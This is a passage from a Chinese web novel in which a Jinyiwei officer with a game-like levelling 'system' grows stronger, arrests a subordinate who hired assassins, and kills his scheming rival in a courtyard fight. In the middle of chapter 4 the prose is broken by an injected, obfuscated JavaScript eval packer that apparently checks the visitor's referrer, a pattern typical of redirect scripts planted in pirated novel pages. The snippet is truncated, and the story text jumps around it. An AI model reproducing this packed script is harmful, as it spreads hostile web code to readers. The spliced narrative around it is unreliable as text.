陈飞急忙跟上,走到通道口时,他忍不住低声问道:“大人,我们接下来……是先去拿张鹏,还是先禀告知府大人?” “禀告知府?”王辉停下脚步,转头看他,眼里满是冷意。张鹏也是我的下属,下属犯事,我这个上司自会处置,何须惊动知府?” 王辉顿了顿,声音冰冷彻骨,带着不容置疑的决断,“自然是先去擒了张鹏!撬开他的嘴,拿到他供出曹峰的口供。届时,我倒要看看,他曹峰有几颗脑袋够砍!” 穿过阴森的地牢长廊,重新回到地面。夜风拂面,带着清凉的湿气,吹在脸上,却吹不散王辉心头的杀机和怒火。 院角的老槐树在风中摇曳,叶子沙沙作响,像是在低语,又像是在嘲笑。 王辉心念微动,召唤出只有自己能见的系统界面——淡蓝色的光幕浮在眼前,上面清晰地显示着: 【宿主:王辉】【境界:九品】【功法:《玄元功》(第一层,经验值11/100)】【经验值:11】。 没有丝毫犹豫,王辉将这11点经验值全部投入《玄元功》。 【经验值-10】 【《玄元功》提升至第二层】 【内力贯通经脉,气力倍增,五感增强】 【当前境界提升至:八品】 一股灼热的气流陡然自丹田升起,迅猛如奔马,瞬间流窜至四肢百骸!经脉像是被拓宽了一倍,原本微弱的内力以前所未有的速度奔腾涌动,冲刷着经脉里的阻滞,带来一阵阵酥麻的胀痛——那是内力在滋养经脉的感觉。 筋骨发出细微的“嘎嘣”声,像是生锈的零件被重新润滑,力量感充盈着每一寸肌肉,连指尖都带着使不完的劲。 王辉的五感也随之剧变:眼前的夜色似乎明亮了许多,远处更夫敲梆子的声音、巡夜士兵的脚步声、甚至微风拂过树叶的沙沙声,都变得异常清晰;鼻尖能分清空气中的味道——槐树叶的清香、泥土的湿气、还有远处酒肆飘来的酒香,不再是之前混杂的一团;连皮肤都能感受到风的方向,是从东南方吹来的,带着一丝江水的湿润。 王辉轻轻握拳,指节发出清脆的响声,澎湃的力量在体内呼之欲出。他能清晰地感觉到,自己现在一拳能打碎青石,跑起来能追上奔马,就算再遇到那三个地痞的合击,也能轻松应对。 八品武境! 在这个世界,武学境界森严:九品为入门,能强身健体;八品已登堂入室,内力贯通经脉,足以担任锦衣卫小旗官;七品可称高手,能开碑裂石,担任校尉;六品及以上,便是江湖中少见的强者,可入锦衣卫指挥佥事之流。他之前只是九品,空有职位,实力不足,如今突破到八品,才算真正有了立足的资本。 更重要的是,实力的提升,让他有了彻底掌控局面、展开复仇的底气! 王辉抬头望向南城的方向——那里是曹峰和张鹏的地盘,此刻想必一片平静,可平静之下,藏着的是汹涌的杀机。 他低声念着这两个名字,嘴角勾起一丝冰冷的弧度,像是在笑,又像是在宣战:“曹峰……张鹏……你们以为杀了我就能如愿?可惜,这场游戏,才刚刚开始。” 4. 八品破风刃,东院擒凶徒 刚踏出地牢大门,潮湿阴冷的气息还缠在衣袍边角,王辉便觉丹田处猛地炸开一团灼热——那股突破境界时的气流不再是之前涓涓细流般的温和,而是化作奔涌的岩浆,顺着经脉飞速窜向四肢百骸。 王辉下意识攥紧拳头,指节泛白,掌心竟渗出细汗,不是因为紧张,而是体内真气膨胀得太过汹涌,仿佛下一刻就要冲破皮肤,将周遭的夜色都烧得发烫。 地牢外的老槐树叶被夜风卷着掠过肩头,叶片的凉意刚触到脖颈,就被体内的热浪瞬间驱散。 王辉微微闭眼,感受着经脉里的变化:原本狭窄如溪流的经脉,此刻竟被真气拓宽成了小河,内力奔腾时不再有丝毫阻滞都被这股热流包裹,传来酥麻的痒意,像是在被慢慢修复。 他能清晰地察觉到,四肢的肌肉里藏着前所未有的力量,连脚下的青石板都似在微微震颤——这便是八品武者的底气,是之前困在九品时连想都不敢想的境界。 “大人,您没事吧?”陈飞跟在身后,见王辉站在原地不动,额角还凝着细汗,急忙上前询问。 王辉缓缓睁眼,眸中闪过一丝锐利的光,刚才因突破而翻涌的气息已被他稳稳压在丹田。 他抬手拍了拍陈飞的肩膀,掌心传来的力道让陈飞下意识绷紧了身子——那力道比之前沉了数倍,带着不容置疑的厚重感。 王辉:无事,只是刚入八品,需稍作调息。 他顿了顿,心念一动,淡蓝色的系统界面再次浮现在眼前。 【宿主:王辉】 【境界:八品】 【功法:《玄元功》(第二层 0/20)】 【技能:破风刀(初学 1/10)】 【经验值:1】 上次斩杀两名地痞共得11点经验,10点用来突破《玄元功》,还剩1点。王辉没有丝毫犹豫,指尖在虚空中一点,将这最后1点经验值加在了“破风刀”上。 几乎是经验值扣除的瞬间,一道冰冷的系统提示音便在他脑海中炸响:【破风刀升级至小成境】 紧接着,王辉只觉眼前一黑,意识仿佛被拽进了一个密闭的空间 那里没有天,没有地,只有一片血色的雾气,空气中弥漫着浓重的血腥味。 他低头,发现自己手中正握着一把横刀,刀身泛着冷冽的寒光,正是他平日里佩戴的那把。 “杀!” 一声沙哑的嘶吼从雾中传来,几道黑影握着长刀朝他扑来,刀刃划破空气的锐响刺耳至极。 王辉几乎是本能地抬手挥刀,破风刀的基础招式“劈”“砍”“撩”在他手中变得无比流畅——他甚至不用思考,身体就已经做出了最精准的反应:横刀格挡,挡住左侧袭来的刀刃,手腕一翻,刀身顺势下斩,精准地劈中对方的手腕;紧接着脚尖点地,身形侧移,避开身后的偷袭,同时反手一刀,刀风呼啸,直取对方心口。 不知过了多久,也不知斩杀了多少黑影,王辉只觉得自己的手臂酸麻得几乎抬不起来,虎口被刀震得生疼,可每一次挥刀,对“破风刀”的理解就深一分。他渐渐摸清了这刀法的诀窍:“破风”二字,关键在“快”与“劲”,出刀要快如闪电,斩断风势;发力要劲透刀身,哪怕是薄如蝉翼的刀,也能劈出开山裂石的力道。 突然,所有黑影都消失了,血色雾气渐渐散去。 王辉站在原地,手中的刀还在微微颤抖,可他的眼神却异常清明——刚才那些厮杀并非幻觉,而是系统将“破风刀”小成境所需的经验与感悟直接灌输给了他。 此刻,他哪怕闭着眼睛,也能清晰地回忆起每一招的发力点、角度、速度,甚至能预判对手的闪避轨迹,将破风刀的招式融会贯通,真正达到了“小成”的境界。 王辉缓缓睁开眼,意识从那片血色空间中抽离,回到了地牢外的庭院。夜风依旧吹着,槐树叶沙沙作响,可王辉握刀的手却稳得可怕——他轻轻挥了挥横刀,刀身划破空气,只发出一道极轻微的“咻”声,比之前快了数倍,连风都被这刀势斩断,落在肩头的槐树叶瞬间被切成了两半,飘落时还带着整齐的切口。 陈飞站在一旁,看得目瞪口呆。他刚才分明看到王辉只是随意挥了挥刀,可那刀风却带着一股凌厉的气势,让他下意识想后退躲避——这哪里还是之前那个只会基础刀法的王大人?这分明是真正的刀术高手! 王辉收起刀,系统界面已经更新: 【宿主:王辉】 【境界:八品】 【功法:《玄元功》(第二层 0/20)】 【技能:破风刀(小成 0/100)】 【经验值:0】 “走吧,去南城百户所。”王辉的声音平静,却带着不容置疑的决断。 王辉转身朝着街道尽头走去,步伐沉稳,每一步都像是踩在节拍上,衣袍下摆随着动作轻轻摆动,刚才突破时残留的热气已完全散去,只留下一身冷冽的气场。 陈飞急忙跟上,身后还跟着四个他特意叫来的锦衣卫力士——都是他信得过的兄弟,手里都握着腰刀,神色严肃。夜色中的南城街道格外安静,只有巡夜士兵的脚步声偶尔从远处传来,灯笼的光在黑暗中晃悠,像是鬼火。街边的店铺都关着门,门板上贴着褪色的春联,墙角处堆着枯枝败叶,偶尔有几只老鼠窜过,惊得瓦片上的夜鸟扑棱着翅膀飞起。 “大人,南城百户所是咱们锦衣卫在南城的核心据点,里面的人大多是曹峰的老部下,咱们就带这几个人去,会不会太冒险了? ”陈飞快走几步,凑到王辉身边,压低声音问道。 他心里还是有些担忧——曹峰在百户所待了五年,根基深厚,王辉刚履新半个月,又一直被排挤,真要是起了冲突,恐怕讨不到好。 王辉脚步没停,目光扫过远处百户所的方向——那里隐约能看到高大的院墙,墙头上插着锦衣卫的旗帜,旗帜在夜风中猎猎作响,灯笼的光从墙内透出来,映得旗帜上的虎头纹格外清晰。 王辉:“冒险?”冷笑一声,“张鹏买凶杀人,曹峰是幕后主使,这是铁打的罪证,咱们是按律拿人,占着理。 更何况,我现在已是八品武者,破风刀也已小成,真要动手,还怕他们不成?” 他的语气里带着十足的自信,不是之前的虚张声势,而是真正有实力做支撑。 陈飞看着王辉的侧脸,在夜色中,那侧脸的线条格外硬朗,眼神锐利如刀,竟让他莫名地安下心来——或许,这位王大人,真的能打破南城百户所的僵局。 很快,他们就到了南城百户所的大门前。这大门是用厚重的楠木做的,门板上包着铁皮,钉着铜钉,门楣上挂着一块黑底金字的匾额,写着“南城锦衣卫百户所”七个大字,字体苍劲有力,透着一股威严。 门口站着两个锦衣卫力士,身高八尺,肩宽背厚,腰间的横刀佩得笔直,肩甲上的虎头纹在灯笼光下泛着冷光。 看到王辉一行人过来,左边那个力士上前一步,双手抱胸,语气带着几分傲慢:“站住!深夜闯百户所,有令牌吗?” 他认识王辉,知道这是新来的东院小旗,可平日里王辉懦弱得很,连跟他说话都不敢大声,所以他也没把王辉放在眼里。 王辉没说话,只是从腰间摸出腰牌,递了过去。腰牌是象牙做的,上面刻着“锦衣卫小旗王辉”的字样,还盖着百户所的朱红大印。 那力士接过腰牌,仔细看了看,确认无误后,脸色还是有些不情愿,可也不敢阻拦,只能侧身让开:“王大人请进。” 王辉收回腰牌,径直走进大门。一进门,就是一个宽敞的庭院,庭院里铺着青石板,石板缝里长着青苔。庭院两侧是厢房,左边是文职部门,里面还亮着灯,能看到秉笔吏正在低头抄写文书,笔尖划过纸张的“沙沙”声隐约传来;右边是兵器库,门口站着两个守卫,手里握着长枪,眼神警惕地盯着进出的人。 庭院尽头是一座大殿,殿门紧闭,殿檐下挂着八个大灯笼,把整个庭院照得亮如白昼。大殿两侧各有一条走廊,通向四大分院——东院、西院、南院、北院,每个分院门口都挂着木牌,上面写着分院的名字。王辉的目标很明确,就是东院。 王辉没有去大殿,也没有理会两侧厢房里投来的好奇目光,直接朝着东院的方向走去。 东院在大殿左侧的走廊尽头,门口挂着“东院”的木牌,木牌上还沾着些灰尘,显然平日里没什么人打理。 刚走到东院门口,就听到里面传来兵器碰撞的“叮叮当当”声,还有人吆喝着练拳的声音,热闹得很。 王辉没有敲门,而是直接抬起脚,朝着门板踹了过去。“嘭!”一声巨响,厚重的木门被他一脚踹开,门板撞在墙上,发出“哐当”的回声,惊得里面练拳的人都停下了动作,纷纷转头看过来。 东院的庭院比外面的主庭院小一些,地面是泥土的,踩上去软软的。院子里有十几个锦衣卫力士,有的光着膀子练拳,肌肉上的汗水在灯笼光下泛着油光;有的握着长刀练劈砍,刀风呼啸,砍在木桩上,留下深深的刀痕;还有的靠在墙角,手里拿着酒壶,一边喝酒一边聊天,看到王辉进来,都停下了手里的动作,眼神各异。 王辉的目光扫过院子里的人,这些人他大多认识——都是东院的力士,平日里仗着曹峰的势,没少排挤他。 上次他来东院安排差事,被一个力士当众顶撞,说“你一个空降的小旗,懂什么”,他当时只能忍气吞声,可现在,他再也不会了。 “谁是张鹏,给老子滚出来!”王辉大吼一声,声音里带着内力,震得院子里的灯笼都晃了晃,落在地上的树叶被震得微微颤动。 王辉的右手按在腰间的横刀上,刀身上还凝结着之前斩杀地痞的干涸血迹,暗红色的印记在灯笼光下格外刺眼,透着一股血腥味。 然而,院子里的人却没什么反应。练拳的继续练拳,喝酒的继续喝酒,甚至有人还笑了起来,声音不大,却足够让王辉听到。 “哟,这不是王大人吗?怎么,今天又来给我们安排‘好差事’了?”一个光着膀子的力士故意提高声音,语气里满是嘲讽,周围的人也跟着哄笑起来。 王辉的眉头皱了皱。他还是低估了原身在东院的地位——堂堂一个九品官,竟然被一群吏如此无视,这不仅仅是排挤,更是赤裸裸的羞辱。 他能感觉到,这些人的目光里满是轻蔑,仿佛他只是一个跳梁小丑,根本不配站在这里。 陈飞见状,立刻上前一步,目光扫过院子里的人,最后落在一个正在练拳的壮汉身上。 那壮汉身高九尺,虎背熊腰,胳膊比普通人的大腿还粗,练的是一套刚猛的拳法,每一拳砸出去,都带着风声。陈飞指着他,声音洪亮:“大人,他就是张鹏!” 王辉的目光瞬间锁定了张鹏。张鹏也停下了练拳,转过身来,脸上带着几分不屑。他上下打量了王辉一番,看到王辉腰间刀上的血迹,眼里闪过一丝诧异,却很快被傲慢取代。 张鹏笑道:“王大人找我有事?”他一边说,一边拿起搭在木桩上的粗布衫,随意地擦了擦身上的汗水,动作慢悠悠的,根本没把王辉放在眼里。 王辉拖着横刀,大步流星地朝着张鹏走过去。 刀鞘在地上划过,发出“刺啦”的声响,像是在刮擦着所有人的神经。 院子里的哄笑声渐渐停了下来,所有人都看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怎么样,要不要打回来?我倒要看看,你有几条命够你猖狂!” 张鹏这才反应过来,怒火瞬间涌上心头。他猛地抬起手,想要还手,可刚抬起一半,就对上了王辉的眼神。王辉的眼神里没有丝毫畏惧,只有浓浓的杀意,仿佛只要他敢动手,下一秒就会被王辉斩杀。 张鹏的手僵在半空,心里的怒火瞬间被恐惧取代——他突然意识到,王辉说的是真的,今天的王辉,真的敢杀他。 他虽然也是九品武者,可在王辉那股八品武者的气场压制下,连呼吸都变得困难。他知道,官和吏的地位天差地别,他若是真的敢对上官动手,就算王辉当场杀了他,也没人敢说什么。 张鹏的手缓缓放下,牙齿咬得咯咯作响,脸上的红肿格外刺眼。 他深吸一口气,压下心里的怒火和恐惧,沉声道:“王……王大人有何指教?”他差点顺口叫出“王辉”,幸好及时改了过来,可语气里的不甘还是藏不住。 王辉看着他,嘴角勾起一丝冷笑:“指教谈不上。 你买凶杀害本官的事情,已经东窗事发。现在,跟我去知府衙门一趟,老实交代你的罪行!” “什么?”张鹏的脸色瞬间变得惨白,像是被抽走了所有血色。他买凶杀人的事情做得极为隐秘,除了三个地痞,再也没有第四个人知道。他怎么也想不通,这件事怎么会被王辉知道?难道是那三个地痞招供了? “胡说八道!”张鹏急忙辩解道! 声音都有些颤抖,“王大人,您不能血口喷人!我什么时候买凶杀人了?您就算是上官,也不能随意给我安插罪名啊! 他知道,这个罪名若是落实了,不仅仅是他要死,他的家人也会被牵连。 我是来跟你商量的吗?王辉冷哼一声。 王辉转头看向陈飞,“来人,给我拿下张鹏!若敢反抗,格杀勿论!” “是!”陈飞立刻带着四个锦衣卫力士上前,将张鹏团团围住。 四个力士都是九品武者,虽然实力不算强,但对付一个已经慌了神的张鹏,还是绰绰有余。 张鹏看着围上来的力士,想要反抗,可身体却不听使唤——他被王辉刚才的气势吓住了,连抬手的力气都没有。 就在陈飞的手快要碰到张鹏的时候,内院突然传来一声大喝:“住手!” 声音洪亮,带着十足的威严,瞬间压过了院子里的所有声音。所有人都朝着内院的方向看去,只见一个中年男人带着一队锦衣卫力士走了出来。 这个男人大约四十岁,身材魁梧,比张鹏还要高半头,脸上有道长长的刀疤,从左眉骨一直划到右下颌,刀疤在灯笼光下泛着淡淡的粉色,显得格外狰狞。他穿着一身锦衣卫校尉的服饰,肩甲上的虎头纹比普通力士的更大更精致,腰间佩着一把精致的长刀,刀鞘上镶嵌着宝石,一看就价值不菲。 此人正是东院的校尉,曹峰。 曹峰走到王辉面前,停下脚步,目光扫过被围住的张鹏,又看向王辉,眼神里满是阴沉的怒意。 他沉声道:“王大人,您虽然是东院的小旗,是我的上司,但也不能在百户所里对锦衣卫力士喊打喊杀吧?张鹏是我的人,您要拿他,总得给我一个说法!” 他的语气带着十足的挑衅,显然没把王辉这个“空降”的小旗放在眼里。 身后的锦衣卫力士也都露出了不善的眼神,纷纷握紧了腰间的刀,院子里的气氛瞬间变得紧张起来,仿佛只要王辉一句话说错,就会爆发冲突。 王辉看着曹峰,眼神里没有丝毫畏惧。他知道,真正的较量,从这一刻才刚刚开始。 5. 东院惊变斩曹峰 曹峰身后的两个校尉一前一后走出,脚步踏在泥土上,溅起细碎的尘土。左侧的校尉姓刘,生得脑满肠肥,腰间的玉带勒得肚子滚圆,像是要把锦袍撑破,脸上堆着假笑,眼角却斜睨着王辉,满是轻蔑;右侧的校尉姓赵,身材干瘦如柴,下巴上三缕山羊胡修剪得整齐,手里把玩着一把绘着猛虎的折扇,扇面半开,却没半点猛虎的悍气,反而透着几分阴柔的算计。 这两人都是曹峰的老部下,从曹峰还是力士时就跟着他,这些年靠着曹峰的提拔才坐上校尉之位。王辉履新东院小旗后,两人从没把他放在眼里——上次王辉安排巡查坊市的差事,刘校尉直接以“手下人都病了”为由推脱,赵校尉更过分,当着一众力士的面说“小旗大人不懂实务,别瞎指挥”,气得原身当晚就闷出了一场病。 “曹哥,这事儿何必跟他废话?”刘校尉拍了拍肚子,声音洪亮,故意让所有人都听见,“一个空降的小旗,真把自己当回事了?张鹏是咱们东院的人,要处置也轮不到他来动手!” 赵校尉也收起折扇,轻咳一声,语气阴阳怪气:“王大人,不是我们不给您面子,只是‘家丑不可外扬’。张鹏就算有不对,您也该在东院内部处置,动刀动枪的,传出去岂不是让人笑话咱们锦衣卫没规矩?” 两人一唱一和,明着是劝和,实则是帮曹峰撑场面,顺便羞辱王辉。周围的力士们也跟着附和,有的吹起了口哨,有的故意用刀鞘敲打着地面,发出“咚咚”的声响,像是在给曹峰几人助威。 张鹏趴在地上,听到刘、赵两位校尉的声音,像是抓住了救命稻草。他挣扎着抬起头,嘴角还挂着血沫,声音嘶哑却带着狂喜:“刘校尉!赵校尉!快救我!王辉他疯了!他不分青红皂白就打我,还诬陷我买凶杀人!” 说着,他就要从地上爬起来,朝着曹峰几人跑去。可刚撑起身子,王辉的脚就像铁钳一样踩在了他的背上——那力道带着八品武者的内劲,瞬间将张鹏的肋骨踩得“咯吱”作响,他惨叫一声,再次趴在地上,脸埋进泥土里,连呼吸都变得困难。 “本官让你走了吗?”王辉的声音冰冷,脚下的力道又加重了几分,“没查清你的罪,你哪儿也去不了。” 曹峰的脸色彻底沉了下来,额角的青筋微微跳动。他往前走了两步,站在王辉面前,两人之间只隔了三步距离,空气中仿佛有无形的火花在碰撞。“王大人,过了吧?”曹峰的声音压得很低,带着隐忍的怒火,“张鹏是东院的力士,就算有错,也该由我这个校尉先审问,您这么动手,是不把我放在眼里,还是不把锦衣卫的规矩放在眼里?” 王辉抬起头,目光直视着曹峰,眼神里没有丝毫退让:“你在教本官做事?”他顿了顿,声音陡然提高,带着一股慑人的威严,“谁给你的资格?本官是东院小旗,正儿八经的九品官,你不过是个校尉,连品级都没有!给老子有多远滚多远,别在这碍眼!” 这话像是一记耳光,狠狠扇在了曹峰脸上。周围的议论声瞬间停了下来,刘校尉脸上的假笑僵住了,赵校尉握着折扇的手也顿了顿——他们从没见过王辉如此强硬,以前的王辉,就算被他们当众顶撞,也只会涨红了脸说不出话,可现在的王辉,眼神锐利如刀,每一个字都带着不容置疑的底气。 曹峰的脸一阵青一阵白,手指紧紧攥着腰间的刀鞘,指节泛白。他深吸一口气,压下心里的怒火,试图用规矩来压制王辉:“王大人,您就算是小旗,也该讲规矩。张鹏是锦衣卫的人,您对自家兄弟大打出手,传出去会让江湖帮派笑话咱们锦衣卫内斗!不如这样,您先把张鹏交给我,我一定好好审问,若是他真犯了错,我绝不偏袒!” “你算什么东西,也配跟本官谈规矩?”王辉冷笑一声,脚下微微用力,张鹏又是一声惨叫。他转头看向陈飞,语气斩钉截铁:“陈飞,把张鹏绑了,带去知府衙门!” “是!”陈飞立刻上前,从腰间解下麻绳,就要去绑张鹏。可他刚弯下腰,曹峰身后的十几个力士就齐齐上前一步,堵在了陈飞面前。这些力士都是曹峰的亲信,手里握着腰刀,刀鞘在地上划出“刺啦”的声响,眼神警惕地盯着王辉几人。 “怎么,你们敢拦我?”王辉缓缓抽出横刀,刀身出鞘的瞬间,发出“铮”的一声清响,冷冽的刀光映在周围人的脸上,让所有人都下意识地后退了半步。他握着刀,刀尖斜指地面,刀身上干涸的血迹在灯笼光下泛着暗红的光,透着一股浓重的血腥味。 曹峰看着王辉手中的刀,心里莫名地发慌,可他知道,绝不能让张鹏被带走——张鹏知道太多秘密,一旦被带去知府衙门,就算他不招供,王辉也有的是办法让他开口,到时候自己就彻底完了。 他强装镇定,对着身后的力士们喊道:“诸位兄弟,王大人这是喝醉了,糊涂了!对自家兄弟动刀动枪的,成何体统?家丑不可外扬,咱们先把王大人请去偏房醒醒酒,等他清醒了,再谈张鹏的事!” 这话看似是劝和,实则是要强行控制王辉。几个力士对视一眼,眼神里满是犹豫——他们虽然不服王辉,可王辉毕竟是上官,若是真的动手,就成了“袭杀上官”,那可是灭族的大罪。 曹峰看出了他们的犹豫,心里暗骂一声“废物”,可脸上却依旧保持着冷静。他的目光扫过人群,最后落在了一个名叫周勇的力士身上——周勇是他去年从乡下招来的,脑子笨,胆子却大,平日里最听他的话,而且刚够九品修为,没见过什么大场面,最容易被操控。 曹峰悄悄往后退了半步,靠近周勇,左手看似无意地搭在周勇的肩膀上,右手却在背后凝聚起一丝内力。他趁着所有人的注意力都在王辉身上,突然朝着周勇的后背狠狠一推! 周勇根本没反应过来,身体瞬间失去平衡,手里的绣春刀“哐当”一声出鞘,朝着张鹏的后心刺去——那刀身泛着冷光,速度极快,刀刃划破空气的锐响刺耳至极,眼看就要刺穿张鹏的身体! “小心!”陈飞大喊一声,就要上前阻拦,可距离太远,已经来不及了。 就在这千钧一发之际,王辉突然动了! 他的动作快得让人看不清轨迹,几乎只留下一道残影。横刀在他手中划过一道完美的弧线,刀光如白练般闪过,只听“咔嚓”一声脆响——周勇的绣春刀被硬生生劈成两段,断口处光滑如镜,碎片飞溅,落在泥土里发出“叮叮”的声响。 王辉站在张鹏身前,横刀斜指地面,刀刃上还沾着绣春刀的碎片。他转头看向周勇,眼神冷得像冰:“好胆!竟敢在百户所当众袭杀上官!你可知这是死罪?” 周勇被吓得魂飞魄散,瘫坐在地上,手里还握着半截绣春刀,身体不停地发抖。他抬起头,眼神慌乱地看向曹峰,结结巴巴地喊道:“不……不是我!是有人推我!是曹……曹校尉推我的!” “什么?曹峰指使的?”王辉猛地转头看向曹峰,声音陡然提高,像是炸雷一样在院子里响起,“曹峰!你好大的胆子!竟敢当众唆使手下袭杀本官!陈飞,给我拿下曹峰!若敢反抗,格杀勿论!” 曹峰脸色骤变,急忙辩解:“王辉!你胡说八道!我什么时候推他了?是他自己不小心,跟我没关系!” 可他的辩解已经晚了。陈飞早就料到曹峰会狗急跳墙,听到王辉的命令,立刻抽出横刀,朝着曹峰扑了过去。他身后的四个力士也同时动手,两个力士牵制曹峰的左右臂,一个力士扫向曹峰的下盘,最后一个力士则守住门口,防止曹峰逃跑。 曹峰没想到陈飞会这么果断,仓促之间只能抽出腰间的长刀抵挡。他毕竟是七品武者,比陈飞高出一个境界,虽然被四人围攻,却依旧能勉强支撑。长刀在他手中挥舞,刀风呼啸,几次都差点砍中陈飞,可陈飞的身法灵活,总能在关键时刻避开,而且另外三个力士配合默契,不断地干扰曹峰,让他难以全力反击。 “你们都疯了吗?”曹峰怒吼着,长刀劈开一个力士的攻击,左臂却被陈飞的刀划了一道口子,鲜血瞬间流了出来,染红了他的锦袍。他看着周围的人,眼神里满是疯狂——他知道,今天若是不能杀了王辉,自己就必死无疑。 袭杀上官是死罪,可若是王死了,他就能编造谎言——就说王辉妒忌他的功绩,故意找借口要杀他,他是被迫反抗,失手杀了王辉。到时候只要买通几个力士作证,再给百户大人送些银子,说不定就能蒙混过关。 想到这里,曹峰的眼神变得狠厉起来。他猛地发力,长刀朝着身前的力士劈去,那力士来不及躲闪,被刀砍中肩膀,惨叫一声倒在地上。曹峰趁机挣脱围攻,不顾左臂的伤口,朝着王辉直冲过去——在他眼里,王辉就算是八品武者,也不过是刚突破,实战经验肯定不如自己,只要杀了王辉,一切就都结束了。 “王辉!受死吧!”曹峰嘶吼着,长刀直取王辉的胸口,刀刃上还沾着力士的鲜血,泛着狰狞的红光。 周围的人都屏住了呼吸,刘校尉和赵校尉脸色惨白,下意识地后退了几步;周勇瘫在地上,眼神呆滞地看着曹峰;陈飞想要上前阻拦,却被曹峰刚才的爆发震开,根本来不及。 所有人都以为王辉必死无疑,可王辉却站在原地,脸上没有丝毫慌乱。他握着横刀的手稳如泰山,眼神紧紧盯着曹峰的动作,体内的《玄元功》内力飞速运转,全部灌注到刀身之 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周围一片死寂,只有灯笼燃烧的“噼啪”声和众人粗重的呼吸声。刘校尉和赵校尉吓得浑身发抖,双腿像灌了铅一样,根本挪不动脚步;剩下的力士们脸色惨白,纷纷放下手中的刀,眼神里满是恐惧——他们刚才还在帮曹峰,现在曹峰死了,王辉会不会迁怒于他们? 就在这时,一道冰冷的机械音在王辉脑海中响起: 【斩杀七品武者曹峰,经验值+150】 王辉缓缓收起横刀,刀身入鞘的声音“咔嗒”一声,在寂静的院子里格外清晰。他低头看了一眼地上的曹峰,曹峰的眼睛还睁着,里面满是不甘和恐惧,可已经没了半点生机。 王辉的脸上没有丝毫表情,只有他自己知道,刚才那一刀有多险——若不是他突破到八品,又将破风刀练到小成,根本挡不住曹峰的拼死一击。 他转头看向刘校尉和赵校尉,眼神冷得像冰:“你们刚才,想帮曹峰杀我?” 刘校尉和赵校尉吓得“噗通”一声跪在地上,连连磕头:“王大人饶命!我们只是被曹峰蒙蔽了!我们不是故意的!求您饶命啊!” 王辉没有说话,目光扫过院子里的其他力士。那些力士也纷纷跪下,不停地磕头求饶,生怕王辉会杀了他们。 陈飞走到王辉身边,低声道:“大人,曹峰已死,张鹏也被拿下,接下来该怎么办?要不要把刘校尉和赵校尉也一起抓起来,送去知府衙门?” 王辉摇了摇头,他知道,刘校尉和赵校尉虽然帮曹峰,但并没有直接参与袭杀,若是把他们都抓起来,只会让东院的人更加恐慌,不利于后续的管理。他要的不是赶尽杀绝,而是要掌控东院,让所有人都知道,他这个小旗,不是好欺负的。 王辉抬起头,声音洪亮地对着院子里的人说道:“曹峰唆使手下袭杀上官,罪大恶极,已被本官当场斩杀,这是他罪有应得!张鹏买凶杀人,证据确凿,稍后会被送去知府衙门,依法处置!” 他顿了顿,目光扫过跪在地上的众人,语气变得缓和了一些:“至于你们,刚才虽然有错,但念在你们是被曹峰蒙蔽,本官可以既往不咎。从今天起,东院的规矩由本官定,谁要是再敢违抗命令,或者勾结外人,曹峰就是你们的下场!” 众人听到王辉不打算追究他们的责任,都松了一口气,纷纷磕头道:“多谢王大人饶命!我等一定听王大人的命令,绝不敢再犯!” 王辉点了点头,对着陈飞说道:“把张鹏绑好,带去知府衙门。再让人把曹峰的尸体抬走,清理一下院子。” “是!”陈飞立刻应声,开始安排人手。 王辉站在院子中央,看着忙碌的众人,心里涌起一股前所未有的掌控感。他知道,这只是一个开始,曹峰虽然死了,但百户所里肯定还有其他不服他的人,接下来还有很多事情要做。 他心念一动,召唤出系统界面: 【宿主:王辉】 【境界:八品】 【功法:《玄元功》(第二层 0/20)】 【技能:破风刀(小成 0/100)】 【经验值:150】 150点经验值,足够他将《玄元功》提升到第三层,甚至还能让破风刀再进一步。王辉的嘴角勾起一丝淡淡的笑容,眼神里充满了自信——有系统在,有实力在,他一定能在这个世界站稳脚跟,甚至走得更远。 夜风从院子里吹过,带着血腥味和泥土的气息,灯笼的光在风中晃动,映在王辉的脸上,让他的眼神显得格外坚定。东院的天,从今天起,变了。 6. 六品初成安变局,千金铺路稳朝局 曹峰的尸体倒在地上,鲜血顺着泥土的缝隙缓缓蔓延,在灯笼光下泛着妖异的暗红,像一条毒蛇,缠得整个东院都喘不过气。 原本还在犹豫要不要上前的锦衣卫力士们,此刻全都僵在原地,手里的刀“哐当哐当”掉在地上,却没人敢弯腰去捡。有个年轻的力士,刚入百户所没半年,哪里见过这般血腥场面,脸色惨白如纸,双手捂着嘴,胃里翻江倒海,差点当场吐出来;还有个年长些的力士,跟着曹峰多年,此刻瞪着地上的尸体,眼神里满是难以置信,嘴里喃喃着“曹校尉……怎么就死了”,声音发颤,连站都站不稳。 刘校尉和赵校尉跪在地上,冷汗顺着脸颊往下淌,浸湿了衣领。刚才还敢帮曹峰说话的两人,此刻连抬头看王辉的勇气都没有,膝盖在泥土里磕得通红,额头沾满了尘土,却依旧不停地磕头,生怕慢一秒就会步曹峰的后尘。“王大人饶命……是小的糊涂,是小的被猪油蒙了心……求您开恩,别杀我们……”刘校尉的声音带着哭腔,肚子上的肥肉随着颤抖不停晃动,哪还有半点校尉的威严。 赵校尉更是吓得浑身筛糠,手里的折扇早就掉在地上,被鲜血浸湿了一角。他偷偷抬眼,瞥见王辉衣袍上的血迹——那血迹有的是曹峰的,有的是之前斩杀地痞时沾的,此刻在灯笼光下凝成硬块,透着一股慑人的杀气。他慌忙低下头,心脏“砰砰”直跳,仿佛要从嗓子眼里蹦出来。 连陈飞和他带来的四个力士,此刻也有些恍神。陈飞握着刀的手微微发抖,他虽然跟着王辉经历了地牢斩凶,可那是在阴暗的地牢里,如今在百户所的大院里,当着这么多同僚的面斩杀校尉,这事儿闹得也太大了!他悄悄看向王辉,心里满是担忧:杀了曹峰,固然能立威,可锦衣卫内部规矩森严,当众斩杀同僚,就算王辉占理,怕是也难逃责罚。 唯独王辉,像是没事人一样。他抬手,用袖口轻轻抹了一下脸颊——刚才曹峰的血溅到了他的颧骨上,温热的液体早已冰凉。他的动作从容得很,仿佛只是擦去了一点灰尘,眼神里没有丝毫波澜,只有一片沉静的冷。“陈飞,”他的声音不大,却清晰地传遍了整个院子,压过了所有人的颤抖和低语,“把张鹏绑结实了,带去知府衙门;曹峰的尸体也一并抬着,作为证物。” 